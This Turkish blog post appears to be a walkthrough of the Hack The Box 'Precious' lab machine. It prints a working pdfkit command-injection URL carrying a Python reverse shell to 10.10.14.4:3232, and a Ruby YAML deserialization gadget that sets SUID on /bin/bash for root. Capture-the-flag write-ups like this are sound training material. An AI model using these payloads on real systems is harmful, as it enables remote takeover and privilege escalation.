Hack The Box Precious Makine Çözümü — shaggy

Açıklama: Selam arkadaşlar, Hack the Box platformunda bulunan ‘Precious’ isimli makinenin çözümünü sizinle paylaşıyor olacağım. Bu makinede dosya yanlış yapılandırmanın, güvenli yazılım sürecinin ve araştırmanın önemini vurguluyor. Çözmesi oldukça zevkli olan bu makineyi gelin çözmeye başlayalım. 🍾 🙌 🎉

Öncelikle Threader3000 ** **aracıyla açık portları öğrenip sonrasında **nmap **ile hangi servislerin çalıştığını öğreniyoruz, bir web uygulamasının olduğunu görüyoruz.

Ardından Dirsearch aracı ile web uygulamamıza Directory Fuzzing işlemi uyguluyoruz fakat hem alt dizin bulamadım hem de ffuz aracıyla yaptığım keşifte subdomain elde edemedim.

Ardından web tarafında bizim verdiğimiz linki alıp pdf’e çevirip bize yansıtan bir yapıyla karşılaştım. İlk browserin davranışlarını anlamak üzere deneme linkleri girdim.

Sonrasında terminal üzerinden web sunucusunu ayağa kaldırıp kendi ip’mi verdim, ardından görüldüğü üzere masaüstünde olan dizinlerimi listeledi bana.

1❯ python3 -m http.server 80

Ardından bu pdf’i indirdiğimizde garip bir ismi olduğu için detaylarını merak edip exiftool aracı aracılığıyle inceleme kararı aldım. Creator bölümünde bulunan **pdfkit v0.8.6’**yı inclemek için guugılladım. :D

Research kısmında bu versiyonunda command injection zafiyeti olduğunu ve bunu backticklerin içinde komutu çalıştırarak exploit edebileceğimizden bahsediyor.

1https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

Görüldüğü gibi belirtilen kullanıcı isminin uid değerlerini döndürdü bize.

Aşağıda görüldüğü üzere sistem üzerinde shell almayı başardık. Shell’i alırken web sunucusunun ayakta olmasının gerekli olduğunu ve unutulmaması gerektiğinin altını çiziyorum (yaklasık 7–8 kere shell alamadım port 80’i başlatmayı unutmuşum. 🫠🫢) Kullandığım komut şöyleydi:

1http://10.10.14.4/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",3232));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

**ruby **kullanıcısıyla /home/ruby./bundle dizininin içinde bulunan config dosyasını açtığımızda **henry **kullanıcısının verilerini görmüş olacağız ki bu da bize hedef sisteme ssh ile bağlantı alabileceğimiz gösterir.

Henry olduktan sonra bizi bizi direkt henry dizininin içine atıyor ve user.txt’i burda görebilmemiz mümkün.

Sudo -l komutunu çalıştırarak, root kullanıcısı olarak çalıştırabileceğimiz update_dependencies.rb dosyasını keşfediyoruz.

Dosya içeriği şu şekildeydi.

1# Compare installed dependencies with those specified in "dependencies.yml"require "yaml"require 'rubygems'# TODO: update versions automaticallydef update_gems()enddef list_from_file    YAML.load(File.read("dependencies.yml"))enddef list_local_gems    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}endgems_file = list_from_filegems_local = list_local_gemsgems_file.each do |file_name, file_version|    gems_local.each do |local_name, local_version|        if(file_name == local_name)            if(file_version != local_version)                puts "Installed version differs from the one specified in file: " + local_name            else                puts "Installed version is equals to the one specified in file: " + local_name            end        end    endend

Koddan da anlayabileceğimiz üzere yaml dosyasını manipüle edebileceğimiz bir atak vektörü bulmak adına araştırama yapalım.

Aşağıda bulunan dependencies.yml içerini root olarak çalıştırabilmemiz üzerine **git_set: id **satırını **git_set: chmod u+s /bin/bash **olarak düzenleyelim ve komutumuzu enjekte edelim.

Önceki hali:

1---- !ruby/object:Gem::Installer    i: x- !ruby/object:Gem::SpecFetcher    i: y- !ruby/object:Gem::Requirement  requirements:    !ruby/object:Gem::Package::TarReader    io: &1 !ruby/object:Net::BufferedIO      io: &1 !ruby/object:Gem::Package::TarReader::Entry         read: 0         header: "abc"      debug_output: &1 !ruby/object:Net::WriteAdapter         socket: &1 !ruby/object:Gem::RequestSet             sets: !ruby/object:Net::WriteAdapter                 socket: !ruby/module 'Kernel'                 method_id: :system             git_set: id         method_id: :resolve

Sonraki hali:

1---- !ruby/object:Gem::Installer    i: x- !ruby/object:Gem::SpecFetcher    i: y- !ruby/object:Gem::Requirement  requirements:    !ruby/object:Gem::Package::TarReader    io: &1 !ruby/object:Net::BufferedIO      io: &1 !ruby/object:Gem::Package::TarReader::Entry         read: 0         header: "abc"      debug_output: &1 !ruby/object:Net::WriteAdapter         socket: &1 !ruby/object:Gem::RequestSet             sets: !ruby/object:Net::WriteAdapter                 socket: !ruby/module 'Kernel'                 method_id: :system             git_set:  chmod u+s /bin/bash         method_id: :resolve

Çalışıp çalışmadığını kontrol edelim. /bin/bash dosyası artık SUID iznine sahip.

Günün sonunda root kullanıcı olup artık son bayrağımızı alabiliriz.

Okuduğunuz için teşekkürler, iyi çalışmalar dilerim. :)